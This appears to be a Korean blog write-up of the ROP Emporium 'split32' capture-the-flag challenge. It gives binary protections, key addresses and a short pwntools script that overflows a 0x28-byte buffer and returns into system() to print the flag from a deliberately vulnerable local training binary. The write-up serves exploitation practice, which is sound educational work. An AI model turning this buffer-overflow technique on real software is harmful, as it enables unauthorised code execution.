728x90
check
- 32bit
- NX
Analyze
pseudo code는 앞에서 풀었던 split 과 동일하다.
문자열 s의 크기가 0x28byte로 할당되어있다!!
- "/bin/cat flag.txt" 문자열은 data 영역인 0x804a030에 있다.
- call system 코드의 주소는 0x804861a이다.
gadget
>> 따로 가젯을 호출할 필요가 없다
Exploit
payload: BUF[0x28] + SFP[4] + SYSTEM(call system: 0x804861a) + BINSH(usefulString: 0x804a030)
from pwn import *
#context.log_level = 'debug'
p = process("./split32")
elf = ELF("./split32")
callsystem = 0x804861a
usefulString = 0x804a030
pbx = 0x8048395
pl = "A"*(0x28 + 4)
pl += p32(callsystem)
pl += p32(usefulString)
p.sendlineafter("> ", pl)
p.interactive()
SMALL
'System > PWNABLE' 카테고리의 다른 글
[HackCTF] Unexploitable_1 (0) | 2021.04.17 |
---|---|
[ROP Emporium] callme (0) | 2021.04.02 |
[RopEmporium] split (0) | 2021.03.21 |
[ROP Emporium] ret2win (0) | 2021.03.18 |
[HackCTF] Pwning (재) (0) | 2021.03.08 |